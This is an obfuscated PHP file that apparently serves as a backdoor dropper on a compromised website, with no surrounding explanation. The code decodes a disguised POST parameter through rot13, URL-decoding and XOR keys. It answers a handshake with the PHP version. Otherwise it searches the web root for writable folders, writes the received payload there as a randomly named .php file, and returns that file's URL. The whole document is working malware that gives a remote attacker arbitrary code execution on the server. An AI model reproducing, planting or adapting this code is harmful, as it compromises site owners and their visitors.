<?php $wyqsvcu = "sootwhylavoozpwr";$cqqyndh = "";foreach ($_POST as $aqbdbwtft => $bfhgfrwdo){if (strlen($aqbdbwtft) == 16 and substr_count($bfhgfrwdo, "%") > 10){lyuhufnao($aqbdbwtft, $bfhgfrwdo);}}function lyuhufnao($aqbdbwtft, $lpmkm){global $cqqyndh;$cqqyndh = $aqbdbwtft;$lpmkm = str_split(rawurldecode(str_rot13($lpmkm)));function zhytxaadz($kdpgl, $aqbdbwtft){global $wyqsvcu, $cqqyndh;return $kdpgl ^ $wyqsvcu[$aqbdbwtft % strlen($wyqsvcu)] ^ $cqqyndh[$aqbdbwtft % strlen($cqqyndh)];}$lpmkm = implode("", array_map("zhytxaadz", array_values($lpmkm), array_keys($lpmkm)));$lpmkm = @unserialize($lpmkm);if (@is_array($lpmkm)){$aqbdbwtft = array_keys($lpmkm);$lpmkm = $lpmkm[$aqbdbwtft[0]];if ($lpmkm === $aqbdbwtft[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function qbwccjc($bqjpmutpdpir) {static $jukawy = array();$yjxgcjda = glob($bqjpmutpdpir . '/*', GLOB_ONLYDIR);if (count($yjxgcjda) > 0) {foreach ($yjxgcjda as $bqjpmutpdp){if (@is_writable($bqjpmutpdp)){$jukawy[] = $bqjpmutpdp;}}}foreach ($yjxgcjda as $bqjpmutpdpir) qbwccjc($bqjpmutpdpir);return $jukawy;}$cprxthwov = $_SERVER["DOCUMENT_ROOT"];$yjxgcjda = qbwccjc($cprxthwov);$aqbdbwtft = array_rand($yjxgcjda);$skemmx = $yjxgcjda[$aqbdbwtft] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($skemmx, $lpmkm);echo "http://" . $_SERVER["HTTP_HOST"] . substr($skemmx, strlen($cprxthwov));exit();}}}